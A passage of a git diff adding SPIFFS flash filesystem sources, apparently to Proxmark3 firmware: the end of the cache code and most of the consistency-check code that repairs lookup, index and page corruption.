SPIFFS_OP_C_DELE && + (op & SPIFFS_OP_TYPE_MASK) != SPIFFS_OP_T_OBJ_LU) { + // page is being deleted, wipe from cache - unless it is a lookup page + spiffs_cache_page_free(fs, cp->ix, 0); + return SPIFFS_HAL_WRITE(fs, addr, len, src); + } + + u8_t *mem = spiffs_get_cache_page(fs, cache, cp->ix); + _SPIFFS_MEMCPY(&mem[SPIFFS_PADDR_TO_PAGE_OFFSET(fs, addr)], src, len); + + cache->last_access++; + cp->last_access = cache->last_access; + + if (cp->flags & SPIFFS_CACHE_FLAG_WRTHRU) { + // page is being updated, no write-cache, just pass thru + return SPIFFS_HAL_WRITE(fs, addr, len, src); + } else { + return SPIFFS_OK; + } + } else { + // no cache page, no write cache - just write thru + return SPIFFS_HAL_WRITE(fs, addr, len, src); + } +} + +#if SPIFFS_CACHE_WR +// returns the cache page that this fd refers, or null if no cache page +spiffs_cache_page *spiffs_cache_page_get_by_fd(spiffs *fs, spiffs_fd *fd) { + spiffs_cache *cache = spiffs_get_cache(fs); + + if ((cache->cpage_use_map & cache->cpage_use_mask) == 0) { + // all cpages free, no cpage cannot be assigned to obj_id + return 0; + } + + int i; + for (i = 0; i < cache->cpage_count; i++) { + spiffs_cache_page *cp = spiffs_get_cache_page_hdr(fs, cache, i); + if ((cache->cpage_use_map & (1 << i)) && + (cp->flags & SPIFFS_CACHE_FLAG_TYPE_WR) && + cp->ucache.swrc.obj_id == fd->obj_id) { + return cp; + } + } + + return 0; +} + +// allocates a new cache page and refers this to given fd - flushes an old cache +// page if all cache is busy +spiffs_cache_page *spiffs_cache_page_allocate_by_fd(spiffs *fs, spiffs_fd *fd) { + // before this function is called, it is ensured that there is no already existing + // cache page with same object id + spiffs_cache_page_remove_oldest(fs, SPIFFS_CACHE_FLAG_TYPE_WR, 0); + spiffs_cache_page *cp = spiffs_cache_page_allocate(fs); + if (cp == 0) { + // could not get cache page + return 0; + } + + cp->flags = SPIFFS_CACHE_FLAG_TYPE_WR; + cp->ucache.swrc.obj_id = fd->obj_id; + fd->cache_page = cp; + SPIFFS_CACHE_DBG("CACHE_ALLO: allocated cache page "_SPIPRIi" for fd "_SPIPRIfd ":"_SPIPRIid "\n", cp->ix, fd->file_nbr, fd->obj_id); + return cp; +} + +// unrefers all fds that this cache page refers to and releases the cache page +void spiffs_cache_fd_release(spiffs *fs, spiffs_cache_page *cp) { + if (cp == 0) return; + u32_t i; + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if (cur_fd->file_nbr != 0 && cur_fd->cache_page == cp) { + cur_fd->cache_page = 0; + } + } + spiffs_cache_page_free(fs, cp->ix, 0); + + cp->ucache.swrc.obj_id = 0; +} + +#endif + +// initializes the cache +void spiffs_cache_init(spiffs *fs) { + if (fs->cache == 0) return; + u32_t sz = fs->cache_size; + u32_t cache_mask = 0; + int i; + int cache_entries = + (sz - sizeof(spiffs_cache)) / (SPIFFS_CACHE_PAGE_SIZE(fs)); + if (cache_entries <= 0) return; + + for (i = 0; i < cache_entries; i++) { + cache_mask <<= 1; + cache_mask |= 1; + } + + spiffs_cache cache; + memset(&cache, 0, sizeof(spiffs_cache)); + cache.cpage_count = cache_entries; + cache.cpages = (u8_t *)((u8_t *)fs->cache + sizeof(spiffs_cache)); + + cache.cpage_use_map = 0xffffffff; + cache.cpage_use_mask = cache_mask; + _SPIFFS_MEMCPY(fs->cache, &cache, sizeof(spiffs_cache)); + + spiffs_cache *c = spiffs_get_cache(fs); + + memset(c->cpages, 0, c->cpage_count * SPIFFS_CACHE_PAGE_SIZE(fs)); + + c->cpage_use_map &= ~(c->cpage_use_mask); + for (i = 0; i < cache.cpage_count; i++) { + spiffs_get_cache_page_hdr(fs, c, i)->ix = i; + } +} + +#endif // SPIFFS_CACHE diff --git a/armsrc/spiffs_check.c b/armsrc/spiffs_check.c new file mode 100644 index 000000000..90fba8a41 --- /dev/null +++ b/armsrc/spiffs_check.c @@ -0,0 +1,1006 @@ +/* + * spiffs_check.c + * + * Contains functionality for checking file system consistency + * and mending problems. + * Three levels of consistency checks are implemented: + * + * Look up consistency + * Checks if indices in lookup pages are coherent with page headers + * Object index consistency + * Checks if there are any orphaned object indices (missing object index headers). + * If an object index is found but not its header, the object index is deleted. + * This is critical for the following page consistency check. + * Page consistency + * Checks for pages that ought to be indexed, ought not to be indexed, are multiple indexed + * + * + * Created on: Jul 7, 2013 + * Author: petera + */ + + +#include "spiffs.h" +#include "spiffs_nucleus.h" + +#if !SPIFFS_READ_ONLY + +#if SPIFFS_HAL_CALLBACK_EXTRA +#define CHECK_CB(_fs, _type, _rep, _arg1, _arg2) \ + do { \ + if ((_fs)->check_cb_f) (_fs)->check_cb_f((_fs), (_type), (_rep), (_arg1), (_arg2)); \ + } while (0) +#else +#define CHECK_CB(_fs, _type, _rep, _arg1, _arg2) \ + do { \ + if ((_fs)->check_cb_f) (_fs)->check_cb_f((_type), (_rep), (_arg1), (_arg2)); \ + } while (0) +#endif + +//--------------------------------------- +// Look up consistency + +// searches in the object indices and returns the referenced page index given +// the object id and the data span index +// destroys fs->lu_work +static s32_t spiffs_object_get_data_page_index_reference( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_span_ix data_spix, + spiffs_page_ix *pix, + spiffs_page_ix *objix_pix) { + s32_t res; + + // calculate object index span index for given data page span index + spiffs_span_ix objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + + // find obj index for obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, obj_id | SPIFFS_OBJ_ID_IX_FLAG, objix_spix, 0, objix_pix); + SPIFFS_CHECK_RES(res); + + // load obj index entry + u32_t addr = SPIFFS_PAGE_TO_PADDR(fs, *objix_pix); + if (objix_spix == 0) { + // get referenced page from object index header + addr += sizeof(spiffs_page_object_ix_header) + data_spix * sizeof(spiffs_page_ix); + } else { + // get referenced page from object index + addr += sizeof(spiffs_page_object_ix) + SPIFFS_OBJ_IX_ENTRY(fs, data_spix) * sizeof(spiffs_page_ix); + } + + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, 0, addr, sizeof(spiffs_page_ix), (u8_t *)pix); + + return res; +} + +// copies page contents to a new page +static s32_t spiffs_rewrite_page(spiffs *fs, spiffs_page_ix cur_pix, spiffs_page_header *p_hdr, spiffs_page_ix *new_pix) { + s32_t res; + res = spiffs_page_allocate_data(fs, p_hdr->obj_id, p_hdr, 0, 0, 0, 0, new_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_phys_cpy(fs, 0, + SPIFFS_PAGE_TO_PADDR(fs, *new_pix) + sizeof(spiffs_page_header), + SPIFFS_PAGE_TO_PADDR(fs, cur_pix) + sizeof(spiffs_page_header), + SPIFFS_DATA_PAGE_SIZE(fs)); + SPIFFS_CHECK_RES(res); + return res; +} + +// rewrites the object index for given object id and replaces the +// data page index to a new page index +static s32_t spiffs_rewrite_index(spiffs *fs, spiffs_obj_id obj_id, spiffs_span_ix data_spix, spiffs_page_ix new_data_pix, spiffs_page_ix objix_pix) { + s32_t res; + spiffs_block_ix bix; + int entry; + spiffs_page_ix free_pix; + obj_id |= SPIFFS_OBJ_ID_IX_FLAG; + + // find free entry + res = spiffs_obj_lu_find_free(fs, fs->free_cursor_block_ix, fs->free_cursor_obj_lu_entry, &bix, &entry); + SPIFFS_CHECK_RES(res); + free_pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + + // calculate object index span index for given data page span index + spiffs_span_ix objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + if (objix_spix == 0) { + // calc index in index header + entry = data_spix; + } else { + // calc entry in index + entry = SPIFFS_OBJ_IX_ENTRY(fs, data_spix); + + } + // load index + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + SPIFFS_CHECK_RES(res); + spiffs_page_header *objix_p_hdr = (spiffs_page_header *)fs->lu_work; + + // be ultra safe, double check header against provided data + if (objix_p_hdr->obj_id != obj_id) { + spiffs_page_delete(fs, free_pix); + return SPIFFS_ERR_CHECK_OBJ_ID_MISM; + } + if (objix_p_hdr->span_ix != objix_spix) { + spiffs_page_delete(fs, free_pix); + return SPIFFS_ERR_CHECK_SPIX_MISM; + } + if ((objix_p_hdr->flags & (SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_IXDELE | SPIFFS_PH_FLAG_INDEX | + SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_DELET)) != + (SPIFFS_PH_FLAG_IXDELE | SPIFFS_PH_FLAG_DELET)) { + spiffs_page_delete(fs, free_pix); + return SPIFFS_ERR_CHECK_FLAGS_BAD; + } + + // rewrite in mem + if (objix_spix == 0) { + ((spiffs_page_ix *)((u8_t *)fs->lu_work + sizeof(spiffs_page_object_ix_header)))[data_spix] = new_data_pix; + } else { + ((spiffs_page_ix *)((u8_t *)fs->lu_work + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)] = new_data_pix; + } + + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_PAGE_TO_PADDR(fs, free_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + SPIFFS_CHECK_RES(res); + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_UPDT, + 0, SPIFFS_BLOCK_TO_PADDR(fs, SPIFFS_BLOCK_FOR_PAGE(fs, free_pix)) + SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, free_pix) * sizeof(spiffs_page_ix), + sizeof(spiffs_obj_id), + (u8_t *)&obj_id); + SPIFFS_CHECK_RES(res); + res = spiffs_page_delete(fs, objix_pix); + + return res; +} + +// deletes an object just by marking object index header as deleted +static s32_t spiffs_delete_obj_lazy(spiffs *fs, spiffs_obj_id obj_id) { + spiffs_page_ix objix_hdr_pix; + s32_t res; + res = spiffs_obj_lu_find_id_and_span(fs, obj_id, 0, 0, &objix_hdr_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + return SPIFFS_OK; + } + SPIFFS_CHECK_RES(res); + u8_t flags = 0xff; +#if SPIFFS_NO_BLIND_WRITES + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, objix_hdr_pix) + offsetof(spiffs_page_header, flags), + sizeof(flags), &flags); + SPIFFS_CHECK_RES(res); +#endif + flags &= ~SPIFFS_PH_FLAG_IXDELE; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_UPDT, + 0, SPIFFS_PAGE_TO_PADDR(fs, objix_hdr_pix) + offsetof(spiffs_page_header, flags), + sizeof(flags), &flags); + return res; +} + +// validates the given look up entry +static s32_t spiffs_lookup_check_validate(spiffs *fs, spiffs_obj_id lu_obj_id, spiffs_page_header *p_hdr, + spiffs_page_ix cur_pix, spiffs_block_ix cur_block, int cur_entry, int *reload_lu) { + (void)cur_block; + (void)cur_entry; + u8_t delete_page = 0; + s32_t res = SPIFFS_OK; + spiffs_page_ix objix_pix; + spiffs_page_ix ref_pix; + // check validity, take actions + if (((lu_obj_id == SPIFFS_OBJ_ID_DELETED) && (p_hdr->flags & SPIFFS_PH_FLAG_DELET)) || + ((lu_obj_id == SPIFFS_OBJ_ID_FREE) && (p_hdr->flags & SPIFFS_PH_FLAG_USED) == 0)) { + // look up entry deleted / free but used in page header + SPIFFS_CHECK_DBG("LU: pix "_SPIPRIpg" deleted/free in lu but not on page\n", cur_pix); + *reload_lu = 1; + delete_page = 1; + if (p_hdr->flags & SPIFFS_PH_FLAG_INDEX) { + // header says data page + // data page can be removed if not referenced by some object index + res = spiffs_object_get_data_page_index_reference(fs, p_hdr->obj_id, p_hdr->span_ix, &ref_pix, &objix_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + // no object with this id, so remove page safely + res = SPIFFS_OK; + } else { + SPIFFS_CHECK_RES(res); + if (ref_pix == cur_pix) { + // data page referenced by object index but deleted in lu + // copy page to new place and re-write the object index to new place + spiffs_page_ix new_pix; + res = spiffs_rewrite_page(fs, cur_pix, p_hdr, &new_pix); + SPIFFS_CHECK_DBG("LU: FIXUP: data page not found elsewhere, rewriting "_SPIPRIpg" to new page "_SPIPRIpg"\n", cur_pix, new_pix); + SPIFFS_CHECK_RES(res); + *reload_lu = 1; + SPIFFS_CHECK_DBG("LU: FIXUP: "_SPIPRIpg" rewritten to "_SPIPRIpg", affected objix_pix "_SPIPRIpg"\n", cur_pix, new_pix, objix_pix); + res = spiffs_rewrite_index(fs, p_hdr->obj_id, p_hdr->span_ix, new_pix, objix_pix); + if (res <= _SPIFFS_ERR_CHECK_FIRST && res > _SPIFFS_ERR_CHECK_LAST) { + // index bad also, cannot mend this file + SPIFFS_CHECK_DBG("LU: FIXUP: index bad "_SPIPRIi", cannot mend!\n", res); + res = spiffs_page_delete(fs, new_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_delete_obj_lazy(fs, p_hdr->obj_id); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_DELETE_BAD_FILE, p_hdr->obj_id, 0); + } else { + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_INDEX, p_hdr->obj_id, p_hdr->span_ix); + } + SPIFFS_CHECK_RES(res); + } + } + } else { + // header says index page + // index page can be removed if other index with same obj_id and spanix is found + res = spiffs_obj_lu_find_id_and_span(fs, p_hdr->obj_id | SPIFFS_OBJ_ID_IX_FLAG, p_hdr->span_ix, cur_pix, 0); + if (res == SPIFFS_ERR_NOT_FOUND) { + // no such index page found, check for a data page amongst page headers + // lu cannot be trusted + res = spiffs_obj_lu_find_id_and_span_by_phdr(fs, p_hdr->obj_id | SPIFFS_OBJ_ID_IX_FLAG, 0, 0, 0); + if (res == SPIFFS_OK) { // ignore other errors + // got a data page also, assume lu corruption only, rewrite to new page + spiffs_page_ix new_pix; + res = spiffs_rewrite_page(fs, cur_pix, p_hdr, &new_pix); + SPIFFS_CHECK_DBG("LU: FIXUP: ix page with data not found elsewhere, rewriting "_SPIPRIpg" to new page "_SPIPRIpg"\n", cur_pix, new_pix); + SPIFFS_CHECK_RES(res); + *reload_lu = 1; + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_LOOKUP, p_hdr->obj_id, p_hdr->span_ix); + } + } else { + SPIFFS_CHECK_RES(res); + } + } + } + if (lu_obj_id != SPIFFS_OBJ_ID_FREE && lu_obj_id != SPIFFS_OBJ_ID_DELETED) { + // look up entry used + if ((p_hdr->obj_id | SPIFFS_OBJ_ID_IX_FLAG) != (lu_obj_id | SPIFFS_OBJ_ID_IX_FLAG)) { + SPIFFS_CHECK_DBG("LU: pix "_SPIPRIpg" differ in obj_id lu:"_SPIPRIid" ph:"_SPIPRIid"\n", cur_pix, lu_obj_id, p_hdr->obj_id); + delete_page = 1; + if ((p_hdr->flags & SPIFFS_PH_FLAG_DELET) == 0 || + (p_hdr->flags & SPIFFS_PH_FLAG_FINAL) || + (p_hdr->flags & (SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_IXDELE)) == 0) { + // page deleted or not finalized, just remove it + } else { + if (p_hdr->flags & SPIFFS_PH_FLAG_INDEX) { + // if data page, check for reference to this page + res = spiffs_object_get_data_page_index_reference(fs, p_hdr->obj_id, p_hdr->span_ix, &ref_pix, &objix_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + // no object with this id, so remove page safely + res = SPIFFS_OK; + } else { + SPIFFS_CHECK_RES(res); + // if found, rewrite page with object id, update index, and delete current + if (ref_pix == cur_pix) { + spiffs_page_ix new_pix; + res = spiffs_rewrite_page(fs, cur_pix, p_hdr, &new_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_rewrite_index(fs, p_hdr->obj_id, p_hdr->span_ix, new_pix, objix_pix); + if (res <= _SPIFFS_ERR_CHECK_FIRST && res > _SPIFFS_ERR_CHECK_LAST) { + // index bad also, cannot mend this file + SPIFFS_CHECK_DBG("LU: FIXUP: index bad "_SPIPRIi", cannot mend!\n", res); + res = spiffs_page_delete(fs, new_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_delete_obj_lazy(fs, p_hdr->obj_id); + *reload_lu = 1; + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_DELETE_BAD_FILE, p_hdr->obj_id, 0); + } + SPIFFS_CHECK_RES(res); + } + } + } else { + // else if index, check for other pages with both obj_id's and spanix + spiffs_page_ix objix_pix_lu, objix_pix_ph; + // see if other object index page exists for lookup obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, lu_obj_id | SPIFFS_OBJ_ID_IX_FLAG, p_hdr->span_ix, 0, &objix_pix_lu); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + objix_pix_lu = 0; + } + SPIFFS_CHECK_RES(res); + // see if other object index exists for page header obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, p_hdr->obj_id | SPIFFS_OBJ_ID_IX_FLAG, p_hdr->span_ix, 0, &objix_pix_ph); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + objix_pix_ph = 0; + } + SPIFFS_CHECK_RES(res); + // if both obj_id's found, just delete current + if (objix_pix_ph == 0 || objix_pix_lu == 0) { + // otherwise try finding first corresponding data pages + spiffs_page_ix data_pix_lu, data_pix_ph; + // see if other data page exists for look up obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, lu_obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, 0, 0, &data_pix_lu); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + objix_pix_lu = 0; + } + SPIFFS_CHECK_RES(res); + // see if other data page exists for page header obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, p_hdr->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, 0, 0, &data_pix_ph); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + objix_pix_ph = 0; + } + SPIFFS_CHECK_RES(res); + + spiffs_page_header new_ph; + new_ph.flags = 0xff & ~(SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_FINAL); + new_ph.span_ix = p_hdr->span_ix; + spiffs_page_ix new_pix; + if ((objix_pix_lu && data_pix_lu && data_pix_ph && objix_pix_ph == 0) || + (objix_pix_lu == 0 && data_pix_ph && objix_pix_ph == 0)) { + // got a data page for page header obj id + // rewrite as obj_id_ph + new_ph.obj_id = p_hdr->obj_id | SPIFFS_OBJ_ID_IX_FLAG; + res = spiffs_rewrite_page(fs, cur_pix, &new_ph, &new_pix); + SPIFFS_CHECK_DBG("LU: FIXUP: rewrite page "_SPIPRIpg" as "_SPIPRIid" to pix "_SPIPRIpg"\n", cur_pix, new_ph.obj_id, new_pix); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_LOOKUP, p_hdr->obj_id, p_hdr->span_ix); + SPIFFS_CHECK_RES(res); + *reload_lu = 1; + } else if ((objix_pix_ph && data_pix_ph && data_pix_lu && objix_pix_lu == 0) || + (objix_pix_ph == 0 && data_pix_lu && objix_pix_lu == 0)) { + // got a data page for look up obj id + // rewrite as obj_id_lu + new_ph.obj_id = lu_obj_id | SPIFFS_OBJ_ID_IX_FLAG; + SPIFFS_CHECK_DBG("LU: FIXUP: rewrite page "_SPIPRIpg" as "_SPIPRIid"\n", cur_pix, new_ph.obj_id); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_LOOKUP, p_hdr->obj_id, p_hdr->span_ix); + res = spiffs_rewrite_page(fs, cur_pix, &new_ph, &new_pix); + SPIFFS_CHECK_RES(res); + *reload_lu = 1; + } else { + // cannot safely do anything + SPIFFS_CHECK_DBG("LU: FIXUP: nothing to do, just delete\n", NULL); + } + } + } + } + } else if (((lu_obj_id & SPIFFS_OBJ_ID_IX_FLAG) && (p_hdr->flags & SPIFFS_PH_FLAG_INDEX)) || + ((lu_obj_id & SPIFFS_OBJ_ID_IX_FLAG) == 0 && (p_hdr->flags & SPIFFS_PH_FLAG_INDEX) == 0)) { + SPIFFS_CHECK_DBG("LU: "_SPIPRIpg" lu/page index marking differ\n", cur_pix); + spiffs_page_ix data_pix, objix_pix_d; + // see if other data page exists for given obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, lu_obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, p_hdr->span_ix, cur_pix, &data_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + data_pix = 0; + } + SPIFFS_CHECK_RES(res); + // see if other object index exists for given obj id and span index + res = spiffs_obj_lu_find_id_and_span(fs, lu_obj_id | SPIFFS_OBJ_ID_IX_FLAG, p_hdr->span_ix, cur_pix, &objix_pix_d); + if (res == SPIFFS_ERR_NOT_FOUND) { + res = SPIFFS_OK; + objix_pix_d = 0; + } + SPIFFS_CHECK_RES(res); + + delete_page = 1; + // if other data page exists and object index exists, just delete page + if (data_pix && objix_pix_d) { + SPIFFS_CHECK_DBG("LU: FIXUP: other index and data page exists, simply remove\n", NULL); + } else + // if only data page exists, make this page index + if (data_pix && objix_pix_d == 0) { + SPIFFS_CHECK_DBG("LU: FIXUP: other data page exists, make this index\n", NULL); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_INDEX, lu_obj_id, p_hdr->span_ix); + spiffs_page_header new_ph; + spiffs_page_ix new_pix; + new_ph.flags = 0xff & ~(SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_INDEX); + new_ph.obj_id = lu_obj_id | SPIFFS_OBJ_ID_IX_FLAG; + new_ph.span_ix = p_hdr->span_ix; + res = spiffs_page_allocate_data(fs, new_ph.obj_id, &new_ph, 0, 0, 0, 1, &new_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_phys_cpy(fs, 0, SPIFFS_PAGE_TO_PADDR(fs, new_pix) + sizeof(spiffs_page_header), + SPIFFS_PAGE_TO_PADDR(fs, cur_pix) + sizeof(spiffs_page_header), + SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_header)); + SPIFFS_CHECK_RES(res); + } else + // if only index exists, make data page + if (data_pix == 0 && objix_pix_d) { + SPIFFS_CHECK_DBG("LU: FIXUP: other index page exists, make this data\n", NULL); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_LOOKUP, lu_obj_id, p_hdr->span_ix); + spiffs_page_header new_ph; + spiffs_page_ix new_pix; + new_ph.flags = 0xff & ~(SPIFFS_PH_FLAG_USED | SPIFFS_PH_FLAG_FINAL); + new_ph.obj_id = lu_obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + new_ph.span_ix = p_hdr->span_ix; + res = spiffs_page_allocate_data(fs, new_ph.obj_id, &new_ph, 0, 0, 0, 1, &new_pix); + SPIFFS_CHECK_RES(res); + res = spiffs_phys_cpy(fs, 0, SPIFFS_PAGE_TO_PADDR(fs, new_pix) + sizeof(spiffs_page_header), + SPIFFS_PAGE_TO_PADDR(fs, cur_pix) + sizeof(spiffs_page_header), + SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_header)); + SPIFFS_CHECK_RES(res); + } else { + // if nothing exists, we cannot safely make a decision - delete + } + } else if ((p_hdr->flags & SPIFFS_PH_FLAG_DELET) == 0) { + SPIFFS_CHECK_DBG("LU: pix "_SPIPRIpg" busy in lu but deleted on page\n", cur_pix); + delete_page = 1; + } else if ((p_hdr->flags & SPIFFS_PH_FLAG_FINAL)) { + SPIFFS_CHECK_DBG("LU: pix "_SPIPRIpg" busy but not final\n", cur_pix); + // page can be removed if not referenced by object index + *reload_lu = 1; + res = spiffs_object_get_data_page_index_reference(fs, lu_obj_id, p_hdr->span_ix, &ref_pix, &objix_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + // no object with this id, so remove page safely + res = SPIFFS_OK; + delete_page = 1; + } else { + SPIFFS_CHECK_RES(res); + if (ref_pix != cur_pix) { + SPIFFS_CHECK_DBG("LU: FIXUP: other finalized page is referred, just delete\n", NULL); + delete_page = 1; + } else { + // page referenced by object index but not final + // just finalize + SPIFFS_CHECK_DBG("LU: FIXUP: unfinalized page is referred, finalizing\n", NULL); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_FIX_LOOKUP, p_hdr->obj_id, p_hdr->span_ix); + u8_t flags = 0xff; +#if SPIFFS_NO_BLIND_WRITES + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix) + offsetof(spiffs_page_header, flags), + sizeof(flags), &flags); + SPIFFS_CHECK_RES(res); +#endif + flags &= ~SPIFFS_PH_FLAG_FINAL; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix) + offsetof(spiffs_page_header, flags), + sizeof(flags), &flags); + } + } + } + } + + if (delete_page) { + SPIFFS_CHECK_DBG("LU: FIXUP: deleting page "_SPIPRIpg"\n", cur_pix); + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_DELETE_PAGE, cur_pix, 0); + res = spiffs_page_delete(fs, cur_pix); + SPIFFS_CHECK_RES(res); + } + + return res; +} + +static s32_t spiffs_lookup_check_v(spiffs *fs, spiffs_obj_id obj_id, spiffs_block_ix cur_block, int cur_entry, + const void *user_const_p, void *user_var_p) { + (void)user_const_p; + (void)user_var_p; + s32_t res = SPIFFS_OK; + spiffs_page_header p_hdr; + spiffs_page_ix cur_pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, cur_block, cur_entry); + + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_PROGRESS, + (cur_block * 256) / fs->block_count, 0); + + // load header + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + + int reload_lu = 0; + + res = spiffs_lookup_check_validate(fs, obj_id, &p_hdr, cur_pix, cur_block, cur_entry, &reload_lu); + SPIFFS_CHECK_RES(res); + + if (res == SPIFFS_OK) { + return reload_lu ? SPIFFS_VIS_COUNTINUE_RELOAD : SPIFFS_VIS_COUNTINUE; + } + return res; +} + + +// Scans all object look up. For each entry, corresponding page header is checked for validity. +// If an object index header page is found, this is also checked +s32_t spiffs_lookup_consistency_check(spiffs *fs, u8_t check_all_objects) { + (void)check_all_objects; + s32_t res = SPIFFS_OK; + + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_PROGRESS, 0, 0); + + res = spiffs_obj_lu_find_entry_visitor(fs, 0, 0, 0, 0, spiffs_lookup_check_v, 0, 0, 0, 0); + + if (res == SPIFFS_VIS_END) { + res = SPIFFS_OK; + } + + if (res != SPIFFS_OK) { + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_ERROR, res, 0); + } + + CHECK_CB(fs, SPIFFS_CHECK_LOOKUP, SPIFFS_CHECK_PROGRESS, 256, 0); + + return res; +} + +//--------------------------------------- +// Page consistency + +// Scans all pages (except lu pages), reserves 4 bits in working memory for each page +// bit 0: 0 == FREE|DELETED, 1 == USED +// bit 1: 0 == UNREFERENCED, 1 == REFERENCED +// bit 2: 0 == NOT_INDEX, 1 == INDEX +// bit 3: unused +// A consistent file system will have only pages being +// * x000 free, unreferenced, not index +// * x011 used, referenced only once, not index +// * x101 used, unreferenced, index +// The working memory might not fit all pages so several scans might be needed +static s32_t spiffs_page_consistency_check_i(spiffs *fs) { + const u32_t bits = 4; + const spiffs_page_ix pages_per_scan = SPIFFS_CFG_LOG_PAGE_SZ(fs) * 8 / bits; + + s32_t res = SPIFFS_OK; + spiffs_page_ix pix_offset = 0; + + // for each range of pages fitting into work memory + while (pix_offset < SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count) { + // set this flag to abort all checks and rescan the page range + u8_t restart = 0; + memset(fs->work, 0, SPIFFS_CFG_LOG_PAGE_SZ(fs)); + + spiffs_block_ix cur_block = 0; + // build consistency bitmap for id range traversing all blocks + while (!restart && cur_block < fs->block_count) { + CHECK_CB(fs, SPIFFS_CHECK_PAGE, SPIFFS_CHECK_PROGRESS, + (pix_offset * 256) / (SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count) + + ((((cur_block * pages_per_scan * 256) / (SPIFFS_PAGES_PER_BLOCK(fs) * fs->block_count))) / fs->block_count), + 0); + // traverse each page except for lookup pages + spiffs_page_ix cur_pix = SPIFFS_OBJ_LOOKUP_PAGES(fs) + SPIFFS_PAGES_PER_BLOCK(fs) * cur_block; + while (!restart && cur_pix < SPIFFS_PAGES_PER_BLOCK(fs) * (cur_block + 1)) { + //if ((cur_pix & 0xff) == 0) + // SPIFFS_CHECK_DBG("PA: processing pix "_SPIPRIpg", block "_SPIPRIbl" of pix "_SPIPRIpg", block 